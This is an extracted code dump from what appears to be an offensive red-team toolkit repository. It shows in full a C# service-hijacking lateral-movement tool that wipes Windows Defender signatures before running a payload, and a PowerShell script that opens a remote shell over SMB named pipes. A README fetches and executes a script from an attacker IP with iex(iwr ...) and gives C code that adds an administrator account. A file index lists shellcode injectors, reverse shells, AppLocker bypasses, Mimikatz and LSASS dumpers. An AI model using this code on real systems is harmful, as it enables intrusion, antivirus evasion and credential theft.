public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
public static void Main(string[] args)
{
if (args.Length < 2)
{
System.Console.WriteLine("Please enter the target machine and path to executable");
return;
}
string target = args[0]; //hostname
string payload = args[1]; //Payload
IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
if (SCMHandle == IntPtr.Zero)
{
Console.WriteLine("Error in calling OpenSCManager: " + Marshal.GetLastWin32Error());
}
else
{
Console.WriteLine("");
}
string ServiceName = "SensorService";
IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);
if (schService == IntPtr.Zero)
{
Console.WriteLine("Error in calling OpenService: " + Marshal.GetLastWin32Error());
}
else
{
Console.WriteLine("[+] OpenService connected");
}
string signature = "\"C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -RemoveDefinitions -All";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, signature, null, null, null, null, null, null);
if (bResult == false)
{
Console.WriteLine("Error in calling ChangeServiceConfig: " + Marshal.GetLastWin32Error());
}
else
{
Console.WriteLine("[+] ChangeServiceConfig connected -> Removing Bad Signatures");
}
bResult = StartService(schService, 0, null);
if (bResult == false)
{
Console.WriteLine("Error in calling StartService: " + Marshal.GetLastWin32Error());
}
else
{
Console.WriteLine("[+] Starting Service");
}
bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);
if (bResult == false)
{
Console.WriteLine("Error in calling ChangeServiceConfig: " + Marshal.GetLastWin32Error());
}
else
{
Console.WriteLine("[+] Updating Service with Our Food");
}
bResult = StartService(schService, 0, null);
if (bResult == false)
{
Console.WriteLine("Error in calling StartService: " + Marshal.GetLastWin32Error());
}
else
{
Console.WriteLine("[+] Executing Modified Service");
Console.WriteLine("[+] Exepect a Shell back :)");
}
}
}
}
================================================
FILE: 05 - Lateral Movement/Fileless Lateral Movement/Powershell/Invoke-SMBRemoting.ps1
================================================
function Invoke-SMBRemoting {
<#
.SYNOPSIS
Invoke-SMBRemoting Author: Rob LP (@L3o4j)
https://github.com/Leo4j/Invoke-SMBRemoting
.DESCRIPTION
Interactive Shell and Command Execution over Named-Pipes (SMB) for Fileless lateral movement.
.REQUIREMENTS
Admin rights over the target Host
.PARAMETER ComputerName
The Server HostName or IP to connect to
.PARAMETER PipeName
Specify the Pipe Name
.PARAMETER ServiceName
Specify the Service Name
.PARAMETER Command
Specify a command to run instead of getting a Shell
.PARAMETER Timeout
Specify a Timeout after which the script will stop waiting for a connection
.PARAMETER ModifyService
Modify an existing service instead of creating a new one. If no target service is specified SensorService is targeted
.PARAMETER Verbose
Show Pipe and Service Name info
.EXAMPLE
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local"
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -PipeName Something -ServiceName RandomService
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command "whoami /all"
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -ModifyService -Verbose
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -ModifyService -ServiceName SensorService -Verbose
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -ModifyService -Command "whoami /all"
#>
param (
[string]$PipeName,
[string]$ComputerName,
[string]$ServiceName,
[string]$Command,
[string]$Timeout = "30000",
[switch]$ModifyService,
[switch]$Purge,
[switch]$Verbose
)
$ErrorActionPreference = "SilentlyContinue"
$WarningPreference = "SilentlyContinue"
Set-Variable MaximumHistoryCount 32767
if (-not $ComputerName) {
Write-Output " [-] Please specify a Target"
return
}
if(!$PipeName){
$randomvalue = ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})
$randomvalue = $randomvalue -join ""
$PipeName = $randomvalue
}
if(!$ServiceName -AND !$ModifyService){
$randomvalue = ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})
$randomvalue = $randomvalue -join ""
$ServiceName = "Service_" + $randomvalue
}
elseif(!$ServiceName -AND $ModifyService){
$ServiceName = "SensorService"
}
if($Purge){
$arguments = "\\$ComputerName create $ServiceName binpath= `"C:\Windows\System32\cmd.exe /c powershell.exe -enc JgAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAHAAQwBtAGQAUgB1AG4ALgBlAHgAZQAnACAALQBSAGUAbQBvAHYAZQBEAGUAZgBpAG4AaQB0AGkAbwBuAHMAIAAtAEEAbABsAA==`""
$startarguments = "\\$ComputerName start $ServiceName"
Start-Process sc.exe -ArgumentList $arguments -WindowStyle Hidden
Start-Sleep -Milliseconds 1000
Start-Process sc.exe -ArgumentList $startarguments -WindowStyle Hidden
Start-Sleep -Milliseconds 1000
Write-Output "[+] Done!"
break
}
$ServerScript = @"
`$pipeServer = New-Object System.IO.Pipes.NamedPipeServerStream("$PipeName", 'InOut', 1, 'Byte', 'None', 4096, 4096, `$null)
`$tcb={param(`$state);`$state.Close()};
`$tm = New-Object System.Threading.Timer(`$tcb, `$pipeServer, 600000, [System.Threading.Timeout]::Infinite);
`$pipeServer.WaitForConnection()
`$tm.Change([System.Threading.Timeout]::Infinite, [System.Threading.Timeout]::Infinite);
`$tm.Dispose();
`$sr = New-Object System.IO.StreamReader(`$pipeServer)
`$sw = New-Object System.IO.StreamWriter(`$pipeServer)
while (`$true) {
if (-not `$pipeServer.IsConnected) {
break
}
`$command = `$sr.ReadLine()
if (`$command -eq "exit") {break}
else {
try{
`$result = Invoke-Expression `$command | Out-String
`$result -split "`n" | ForEach-Object {`$sw.WriteLine(`$_.TrimEnd())}
} catch {
`$errorMessage = `$_.Exception.Message
`$sw.WriteLine(`$errorMessage)
}
`$sw.WriteLine("###END###")
`$sw.Flush()
}
}
`$pipeServer.Disconnect()
`$pipeServer.Dispose()
"@
$B64ServerScript = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($ServerScript))
if($ModifyService){
$originalBinPath = & sc.exe \\$ComputerName qc $ServiceName | Select-String "BINARY_PATH_NAME" | ForEach-Object {$_.ToString().Split(":", 2)[1].Trim()}
$arguments = "\\$ComputerName config $ServiceName binpath= `"C:\Windows\System32\cmd.exe /c powershell.exe -enc $B64ServerScript`""
Start-Process sc.exe -ArgumentList $arguments -WindowStyle Hidden
# Optional: Restart the service to apply the changes
$stopArguments = "\\$ComputerName stop $ServiceName"
$startArguments = "\\$ComputerName start $ServiceName"
# Stop the service
Start-Process sc.exe -ArgumentList $stopArguments -WindowStyle Hidden
Start-Sleep -Milliseconds 1000
Start-Process sc.exe -ArgumentList $startarguments -WindowStyle Hidden
}
else{
$arguments = "\\$ComputerName create $ServiceName binpath= `"C:\Windows\System32\cmd.exe /c powershell.exe -enc $B64ServerScript`""
$startarguments = "\\$ComputerName start $ServiceName"
Start-Process sc.exe -ArgumentList $arguments -WindowStyle Hidden
Start-Sleep -Milliseconds 1000
Start-Process sc.exe -ArgumentList $startarguments -WindowStyle Hidden
}
if($Verbose){
if($ModifyService){
Write-Output ""
Write-Output " [+] Pipe Name: $PipeName"
Write-Output " [+] Service Name: $ServiceName"
Write-Output " [+] Original binPath: $originalBinPath"
Write-Output " [+] Modifying Service on Remote Target..."
Write-Output ""
}
else{
Write-Output ""
Write-Output " [+] Pipe Name: $PipeName"
Write-Output " [+] Service Name: $ServiceName"
Write-Output " [+] Creating Service on Remote Target..."
Write-Output ""
}
}
# Get the current process ID
$currentPID = $PID
if($ModifyService){
# Embedded monitoring script
$monitoringScript = @"
`$serviceToDelete = "$ServiceName" # Name of the service you want to delete
`$TargetServer = "$ComputerName"
`$primaryScriptProcessId = $currentPID
`$BinPath = "$originalBinPath"
while (`$true) {
Start-Sleep -Seconds 5 # Check every 5 seconds
# Check if the primary script is still running using its Process ID
`$process = Get-Process | Where-Object { `$_.Id -eq `$primaryScriptProcessId }
if (-not `$process) {
# If the process is not running, stop the service
`$stoparguments = "\\`$TargetServer stop `$serviceToDelete"
Start-Process sc.exe -ArgumentList `$stoparguments -WindowStyle Hidden
`$arguments = "\\`$TargetServer config `$serviceToDelete binpath= `$BinPath"
Start-Process sc.exe -ArgumentList `$arguments -WindowStyle Hidden
break # Exit the monitoring script
}
}
"@}
else{
# Embedded monitoring script
$monitoringScript = @"
`$serviceToDelete = "$ServiceName" # Name of the service you want to delete
`$TargetServer = "$ComputerName"
`$primaryScriptProcessId = $currentPID
while (`$true) {
Start-Sleep -Seconds 5 # Check every 5 seconds
# Check if the primary script is still running using its Process ID
`$process = Get-Process | Where-Object { `$_.Id -eq `$primaryScriptProcessId }
if (-not `$process) {
# If the process is not running, delete the service
`$stoparguments = "\\`$TargetServer delete `$serviceToDelete"
Start-Process sc.exe -ArgumentList `$stoparguments -WindowStyle Hidden
break # Exit the monitoring script
}
}
"@}
$b64monitoringScript = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($monitoringScript))
# Execute the embedded monitoring script in a hidden window
$MonitoringProcess = Start-Process powershell.exe -ArgumentList "-WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -enc $b64monitoringScript" -WindowStyle Hidden -PassThru
$pipeClient = New-Object System.IO.Pipes.NamedPipeClientStream("$ComputerName", $PipeName, 'InOut')
try {
$pipeClient.Connect($Timeout)
} catch [System.TimeoutException] {
Write-Output "[$($ComputerName)]: Connection timed out"
Write-Output ""
return
} catch {
Write-Output "[$($ComputerName)]: An unexpected error occurred"
Write-Output ""
return
}
$sr = New-Object System.IO.StreamReader($pipeClient)
$sw = New-Object System.IO.StreamWriter($pipeClient)
$serverOutput = ""
if ($Command) {
$Command = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($Command))
$Command = "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(""$Command"")) | IEX"
$fullCommand = "$Command 2>&1 | Out-String"
$sw.WriteLine($fullCommand)
$sw.Flush()
while ($true) {
$line = $sr.ReadLine()
if ($line -eq "###END###") {
Write-Output $serverOutput.Trim()
Write-Output ""
break
} else {
$serverOutput += "$line`n"
}
}
}
else {
while ($true) {
# Fetch the actual remote prompt
$sw.WriteLine("prompt | Out-String")
$sw.Flush()
$remotePath = ""
while ($true) {
$line = $sr.ReadLine()
if ($line -eq "###END###") {
# Remove any extraneous whitespace, newlines etc.
$remotePath = $remotePath.Trim()
break
} else {
$remotePath += "$line`n"
}
}
$ipPattern = '^\d{1,3}(\.\d{1,3}){3}$'
if($ComputerName -match $ipPattern){$computerNameOnly = $ComputerName}
else{$computerNameOnly = $ComputerName -split '\.' | Select-Object -First 1}
$promptString = "[$computerNameOnly]: $remotePath "
Write-Host -NoNewline $promptString
$userCommand = Read-Host
if ($userCommand -eq "exit") {
Write-Output ""
$sw.WriteLine("exit")
$sw.Flush()
break
}
elseif($userCommand -ne ""){
$fullCommand = "$userCommand 2>&1 | Out-String"
$sw.WriteLine($fullCommand)
$sw.Flush()
}
else{
continue
}
$serverOutput = ""
while ($true) {
$line = $sr.ReadLine()
if ($line -eq "###END###") {
Write-Output $serverOutput.Trim()
Write-Output ""
break
} else {
$serverOutput += "$line`n"
}
}
}
}
if($ModifyService){
$stopArguments = "\\$ComputerName stop $ServiceName"
Start-Process sc.exe -ArgumentList $stopArguments -WindowStyle Hidden
$arguments = "\\$ComputerName config $ServiceName binpath= $originalBinPath"
Start-Process sc.exe -ArgumentList $arguments -WindowStyle Hidden
}
else{
$stoparguments = "\\$ComputerName delete $ServiceName"
Start-Process sc.exe -ArgumentList $stoparguments -WindowStyle Hidden
}
$pipeClient.Close()
$pipeClient.Dispose()
Stop-Process -Id $MonitoringProcess.Id
}
================================================
FILE: 05 - Lateral Movement/Fileless Lateral Movement/README.md
================================================
# Powershell Implementation
*NOTE: We need admin access to SMB on the victim, can be abused using also injected kerberos ticket!*
Source: https://github.com/Leo4j/Invoke-SMBRemoting
- Invoke the script: `iex(iwr http://192.168.45.223/Invoke-SMBRemoting -UseBasicParsing)`
## Cheetsheet:
<ins>Interactive Shell</ins>
- `Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local"`
- `Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -PipeName Something -ServiceName RandomService`
- `Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -ModifyService -Verbose`
- `Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -ModifyService -ServiceName SensorService -Verbose`
<ins>Command Execution</ins>
- `Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command "whoami /all"`
- `Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command "whoami /all" -PipeName Something -ServiceName RandomService`
- `Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command "whoami /all" -ModifyService`
- `Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command "whoami /all" -ModifyService -ServiceName SensorService -Verbose`

# EXE Implementation
Save the content below as `adduser.c`:
```
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user amit Password123! /add");
i = system ("net localgroup administrators salar /add");
return 0;
}
```
Compile it:
- `x86_64-w64-mingw32-gcc adduser.c -o adduser.exe`
Execute:
- `.\PsExecLat.exe file01 C:\Windows\Tasks\adduser.exe`
================================================
FILE: 05 - Lateral Movement/MSSQL/CustomAssembly/Convert-toHex.ps1
================================================
# Target file
$assemblyFile = "c:\temp\cmd_exec.dll"
# Build top of TSQL CREATE ASSEMBLY statement
$stringBuilder = New-Object -Type System.Text.StringBuilder
$stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null
# Read bytes from file
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
$stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
# Build bottom of TSQL CREATE ASSEMBLY statement
$stringBuilder.AppendLine("`nWITH
gitextract_8zxnmjp4/ ├── 01 - Process Games/ │ ├── DLL/ │ │ ├── README.md │ │ ├── shellcodeHollower.cs │ │ └── shellcodeInject.cs │ └── EXE/ │ ├── NativeProcInjection.cs │ ├── NtMapInjection.cs │ ├── NtQueueApc.cs │ ├── README.md │ ├── TryHarder.cs │ └── procHollow.cs ├── 02 - Macros/ │ ├── Curls/ │ │ ├── Curl-checkProcessBit.vba │ │ ├── Powershell-checkProcessBit.vba │ │ └── README.md │ ├── MSBuild/ │ │ └── msbuild.vba │ ├── processHollow.vba │ ├── processInjection.vba │ ├── revShell.vba │ ├── shellcodeRunner.vba │ └── simpleRunner.vba ├── 03 - CLM & Applocker Bypass/ │ ├── 1 - Source/ │ │ ├── InvokePowershell.cs │ │ └── ShellcodeRunner.cs │ ├── 2 - HTA Templates/ │ │ ├── README.md │ │ ├── installutil.hta │ │ ├── msbuild.hta │ │ └── xsl.hta │ ├── 3 - MSBuild/ │ │ ├── README.md │ │ ├── clm-revshell.xml │ │ ├── hollow.xml │ │ ├── hollow2.xml │ │ ├── processInjection.xml │ │ └── shellcodeRunner.xml │ ├── 4 - Binaries/ │ │ └── CLMBypass.cs │ ├── 5 - JScript/ │ │ ├── README.md │ │ └── runner.sct │ ├── 6 - XSL/ │ │ ├── README.md │ │ └── template.xsl │ └── enum-paths.ps1 ├── 04 - Tunneling/ │ ├── Ligolo-ApplockerBypass/ │ │ ├── Ligolo-ApplockerBypass.ps1 │ │ └── README.md │ ├── README.md │ ├── ligolo-clmbypass.xml │ ├── ligolo-psrunner.ps1 │ └── ligolo.ps1 ├── 05 - Lateral Movement/ │ ├── Fileless Lateral Movement/ │ │ ├── EXE/ │ │ │ └── PsExecLat.cs │ │ ├── Powershell/ │ │ │ └── Invoke-SMBRemoting.ps1 │ │ └── README.md │ └── MSSQL/ │ └── CustomAssembly/ │ ├── Convert-toHex.ps1 │ ├── README.md │ └── cmd_exec.cs ├── 06 - Privilege Escalation/ │ ├── AlwaysInstallElevated/ │ │ ├── README.md │ │ └── newlocaladmin.msi │ └── SeImpersonate/ │ ├── Invoke-SigmaPotato.ps1 │ ├── README.md │ └── SharpPrintSpoofer.cs ├── 07 - Powershell Scripts/ │ ├── 01 - Recon/ │ │ ├── ForeignGroupMembers.ps1 │ │ └── initialRecon.ps1 │ ├── 02 - RevShells/ │ │ ├── obf-revShell.ps1 │ │ └── obf-revShellV2.ps1 │ ├── 03 - Loaders/ │ │ ├── procHollow.ps1 │ │ └── shellcodeLoader.ps1 │ └── createAdmin.ps1 ├── 08 - UAC Bypass/ │ ├── Invoke-EventViewer.ps1 │ ├── README.md │ ├── cmstp.ps1 │ └── improved-fodhelper.ps1 ├── 09 - PPL Bypass/ │ ├── Mimikatz/ │ │ ├── 32Bit/ │ │ │ └── mimidrv.sys │ │ └── 64bit/ │ │ └── mimidrv.sys │ ├── PPLKiller/ │ │ ├── RTCore32.sys │ │ └── RTCore64.sys │ └── README.md ├── 10 - Post Exploitation/ │ ├── Mimikatz/ │ │ ├── Invoke-Mimikatz.ps1 │ │ └── README.md │ └── lsassDump/ │ ├── MiniDump.ps1 │ └── obf-MiniDump.ps1 ├── 11 - KISS Payloads/ │ ├── DLL/ │ │ ├── README.md │ │ ├── newadmin.c │ │ └── newadmin.cpp │ └── EXE/ │ ├── README.md │ ├── newadmin.c │ ├── revshell.cpp │ └── revshell2.cpp ├── 12 - Web Shells/ │ ├── ASPX/ │ │ ├── one.aspx │ │ └── shellcodeRunner.aspx │ ├── JSP/ │ │ ├── cmd.jsp │ │ └── revshell.jsp │ ├── PHP/ │ │ └── tiny.php │ └── README.md ├── 13 - XOR-Encoder/ │ └── README.md ├── LICENSE └── README.md
SYMBOL INDEX (129 symbols across 18 files)
FILE: 01 - Process Games/DLL/shellcodeHollower.cs
class ProcessHollowing (line 6) | public class ProcessHollowing
type STARTUPINFO (line 9) | [StructLayout(LayoutKind.Sequential)]
type PROCESS_INFORMATION (line 32) | [StructLayout(LayoutKind.Sequential)]
type PROCESS_BASIC_INFORMATION (line 41) | [StructLayout(LayoutKind.Sequential)]
method CreateProcess (line 57) | [DllImport("kernel32.dll", SetLastError = true)]
method NtQueryInformationProcess (line 71) | [DllImport("ntdll.dll")]
method NtReadVirtualMemory (line 80) | [DllImport("ntdll.dll")]
method WriteProcessMemory (line 89) | [DllImport("kernel32.dll")]
method NtResumeThread (line 98) | [DllImport("ntdll.dll", SetLastError = true)]
method PerformProcessHollowing (line 102) | public static void PerformProcessHollowing()
FILE: 01 - Process Games/DLL/shellcodeInject.cs
class Injector (line 9) | public class Injector
type CLIENT_ID (line 15) | [StructLayout(LayoutKind.Sequential)]
type OBJECT_ATTRIBUTES (line 22) | [StructLayout(LayoutKind.Sequential, Pack = 0)]
method NtOpenProcess (line 33) | [DllImport("ntdll.dll", SetLastError = true)]
method NtAllocateVirtualMemory (line 36) | [DllImport("ntdll.dll")]
method NtWriteVirtualMemory (line 39) | [DllImport("ntdll.dll")]
method NtCreateThreadEx (line 42) | [DllImport("ntdll.dll", SetLastError = true)]
method InjectShellcode (line 46) | public static void InjectShellcode()
FILE: 01 - Process Games/EXE/NativeProcInjection.cs
class Program (line 10) | class Program
type CLIENT_ID (line 16) | [StructLayout(LayoutKind.Sequential)]
type OBJECT_ATTRIBUTES (line 23) | [StructLayout(LayoutKind.Sequential, Pack = 0)]
method NtOpenProcess (line 35) | [DllImport("ntdll.dll", SetLastError = true)]
method NtAllocateVirtualMemory (line 38) | [DllImport("ntdll.dll")]
method NtWriteVirtualMemory (line 41) | [DllImport("ntdll.dll")]
method NtCreateThreadEx (line 44) | [DllImport("ntdll.dll", SetLastError = true)]
method Main (line 47) | static void Main(string[] args)
FILE: 01 - Process Games/EXE/NtMapInjection.cs
class Program (line 9) | class Program
method NtCreateSection (line 19) | [DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]
method NtMapViewOfSection (line 22) | [DllImport("ntdll.dll", SetLastError = true)]
method NtUnmapViewOfSection (line 25) | [DllImport("ntdll.dll", SetLastError = true)]
method NtClose (line 28) | [DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)]
method NtCreateThreadEx (line 31) | [DllImport("ntdll.dll", SetLastError = true)]
method OpenProcess (line 34) | [DllImport("kernel32.dll", SetLastError = true)]
method Main (line 38) | static void Main(string[] args)
method NtOpenProcess (line 124) | private static IntPtr NtOpenProcess(int id, int v, object value)
FILE: 01 - Process Games/EXE/NtQueueApc.cs
class Program (line 7) | class Program
type STARTUPINFO (line 18) | [StructLayout(LayoutKind.Sequential)]
type PROCESS_INFORMATION (line 41) | [StructLayout(LayoutKind.Sequential)]
type CLIENT_ID (line 50) | [StructLayout(LayoutKind.Sequential)]
type OBJECT_ATTRIBUTES (line 57) | [StructLayout(LayoutKind.Sequential)]
method CreateProcess (line 69) | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
method NtAllocateVirtualMemory (line 82) | [DllImport("ntdll.dll")]
method NtWriteVirtualMemory (line 91) | [DllImport("ntdll.dll")]
method NtQueueApcThread (line 99) | [DllImport("ntdll.dll")]
method NtResumeThread (line 107) | [DllImport("ntdll.dll")]
method Main (line 112) | static void Main(string[] args)
method CreateSuspendedProcess (line 158) | static PROCESS_INFORMATION CreateSuspendedProcess(string processPath)
method AllocateMemory (line 181) | static IntPtr AllocateMemory(IntPtr hProcess, int size)
method WriteMemory (line 199) | static void WriteMemory(IntPtr hProcess, IntPtr address, byte[] data)
method QueueAPC (line 212) | static void QueueAPC(IntPtr hThread, IntPtr shellcodeAddr)
method ResumeThread (line 225) | static void ResumeThread(IntPtr hThread)
FILE: 01 - Process Games/EXE/TryHarder.cs
class Program (line 8) | class Program
type STARTUPINFO (line 10) | [StructLayout(LayoutKind.Sequential)]
type PROCESS_INFORMATION (line 33) | [StructLayout(LayoutKind.Sequential)]
method ResumeThread (line 42) | [DllImport("kernel32.dll")]
method CreateRemoteThread (line 45) | [DllImport("kernel32.dll")]
method DecryptString (line 48) | private static string DecryptString(byte[] encryptedData)
method GetProcAddress (line 66) | [DllImport("kernel32.dll")]
method GetModuleHandle (line 69) | [DllImport("kernel32.dll")]
method Main (line 72) | static void Main()
FILE: 01 - Process Games/EXE/procHollow.cs
class Program (line 3) | class Program
type STARTUPINFO (line 6) | [StructLayout(LayoutKind.Sequential)]
type PROCESS_INFORMATION (line 29) | [StructLayout(LayoutKind.Sequential)]
type CLIENT_ID (line 38) | [StructLayout(LayoutKind.Sequential)]
type PROCESS_BASIC_INFORMATION (line 45) | [StructLayout(LayoutKind.Sequential)]
method CreateProcess (line 61) | [DllImport("kernel32.dll", SetLastError = true)]
method NtQueryInformationProcess (line 75) | [DllImport("ntdll.dll")]
method NtReadVirtualMemory (line 84) | [DllImport("ntdll.dll")]
method WriteProcessMemory (line 93) | [DllImport("kernel32.dll")]
method NtResumeProcess (line 102) | [DllImport("ntdll.dll", SetLastError = true)]
method Main (line 105) | static void Main()
FILE: 03 - CLM & Applocker Bypass/1 - Source/InvokePowershell.cs
class Program (line 12) | public class Program
method Main (line 14) | public static void Main()
class Loader (line 32) | [System.ComponentModel.RunInstaller(true)]
method Uninstall (line 36) | public override void Uninstall(System.Collections.IDictionary savedState)
FILE: 03 - CLM & Applocker Bypass/1 - Source/ShellcodeRunner.cs
class Program (line 14) | public class Program
method Main (line 16) | public static void Main()
class Loader (line 32) | [System.ComponentModel.RunInstaller(true)]
method Uninstall (line 36) | public override void Uninstall(System.Collections.IDictionary savedState)
FILE: 03 - CLM & Applocker Bypass/4 - Binaries/CLMBypass.cs
class MainClass (line 9) | public class MainClass
method GetStdHandle (line 11) | [DllImport("kernel32.dll", SetLastError = true)]
method VirtualProtect (line 13) | [DllImport("kernel32")]
method GetProcAddress (line 15) | [DllImport("kernel32")]
method LoadLibrary (line 17) | [DllImport("kernel32")]
method Main (line 20) | public static void Main(string[] args)
method go (line 25) | public static void go()
class Loader (line 69) | [System.ComponentModel.RunInstaller(true)]
method Uninstall (line 73) | public override void Uninstall(System.Collections.IDictionary savedState)
FILE: 05 - Lateral Movement/Fileless Lateral Movement/EXE/PsExecLat.cs
class Program (line 10) | public class Program
method OpenSCManager (line 12) | [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpellin...
method OpenService (line 15) | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
method ChangeServiceConfigA (line 18) | [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
method StartService (line 22) | [DllImport("advapi32", SetLastError = true)]
method Main (line 26) | public static void Main(string[] args)
FILE: 05 - Lateral Movement/MSSQL/CustomAssembly/cmd_exec.cs
class StoredProcedures (line 10) | public partial class StoredProcedures
method cmd_exec (line 12) | [Microsoft.SqlServer.Server.SqlProcedure]
FILE: 06 - Privilege Escalation/SeImpersonate/SharpPrintSpoofer.cs
class Program (line 8) | class Program
type SECURITY_ATTRIBUTES (line 10) | public struct SECURITY_ATTRIBUTES
type PROCESS_INFORMATION (line 17) | [StructLayout(LayoutKind.Sequential)]
type STARTUPINFO (line 26) | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
type TOKEN_USER (line 49) | public struct TOKEN_USER
type SID_AND_ATTRIBUTES (line 54) | [StructLayout(LayoutKind.Sequential)]
method ConvertStringSecurityDescriptorToSecurityDescriptor (line 61) | [DllImport("advapi32.dll")]
method CreateNamedPipe (line 64) | [DllImport("kernel32.dll", SetLastError = true)]
method ConnectNamedPipe (line 67) | [DllImport("kernel32.dll")]
method ImpersonateNamedPipeClient (line 70) | [DllImport("advapi32.dll")]
method GetCurrentThread (line 73) | [DllImport("kernel32.dll")]
method OpenThreadToken (line 76) | [DllImport("advapi32.dll", SetLastError = true)]
method GetTokenInformation (line 79) | [DllImport("advapi32.dll", SetLastError = true)]
method ConvertSidToStringSid (line 82) | [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)]
method DuplicateTokenEx (line 85) | [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
method CreateEnvironmentBlock (line 88) | [DllImport("userenv.dll", SetLastError = true)]
method RevertToSelf (line 91) | [DllImport("advapi32.dll", SetLastError = true)]
method GetSystemDirectory (line 94) | [DllImport("kernel32.dll")]
method CreateProcessWithTokenW (line 97) | [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
method Main (line 100) | static void Main(string[] args)
FILE: 11 - KISS Payloads/DLL/newadmin.c
function DWORD (line 15) | DWORD CreateAdminUserInternal(void)
function BOOL (line 96) | BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID...
function CreateAdminUser (line 115) | __declspec(dllexport) void __stdcall CreateAdminUser(HWND hwnd, HINSTANC...
function main (line 125) | int main()
FILE: 11 - KISS Payloads/DLL/newadmin.cpp
function BOOL (line 4) | BOOL APIENTRY DllMain(
FILE: 11 - KISS Payloads/EXE/newadmin.c
function DWORD (line 15) | DWORD CreateAdminUserInternal(void)
function BOOL (line 106) | BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID...
function CreateAdminUser (line 129) | __declspec(dllexport) void __stdcall CreateAdminUser(HWND hwnd, HINSTANC...
function main (line 142) | int main()
FILE: 11 - KISS Payloads/EXE/revshell.cpp
function DWORD (line 9) | DWORD WINAPI ReverseShell(LPVOID lpParam) {
function main (line 37) | int main() {
FILE: 11 - KISS Payloads/EXE/revshell2.cpp
function DWORD (line 9) | DWORD WINAPI ReverseShell(LPVOID lpParam) {
function main (line 43) | int main(int argc, char* argv[]) {
Condensed preview — 89 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (4,085K chars).
[
{
"path": "01 - Process Games/DLL/README.md",
"chars": 718,
"preview": "## Load shellcodeHollower remotely:\n\n```powershell\n$data = (New-Object System.Net.WebClient).DownloadData('http://192.16"
},
{
"path": "01 - Process Games/DLL/shellcodeHollower.cs",
"chars": 9492,
"preview": "using System;\nusing System.Runtime.InteropServices;\n\nnamespace ProcessHollowingDLL\n{\n public class ProcessHollowing\n "
},
{
"path": "01 - Process Games/DLL/shellcodeInject.cs",
"chars": 6909,
"preview": "using System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Runtime.InteropServices;\nusing Sy"
},
{
"path": "01 - Process Games/EXE/NativeProcInjection.cs",
"chars": 7393,
"preview": "using System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Runtime.InteropServices;\nusing Sy"
},
{
"path": "01 - Process Games/EXE/NtMapInjection.cs",
"chars": 11100,
"preview": "using System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Runtime.InteropServices;\nusing Sy"
},
{
"path": "01 - Process Games/EXE/NtQueueApc.cs",
"chars": 10560,
"preview": "using System;\nusing System.Diagnostics;\nusing System.Runtime.InteropServices;\n\nnamespace ProcessCreateAndInject\n{\n cl"
},
{
"path": "01 - Process Games/EXE/README.md",
"chars": 3636,
"preview": "## **NativeProcInjection.cs**\n\nThis technique demonstrates classic process injection using Native Windows API functions."
},
{
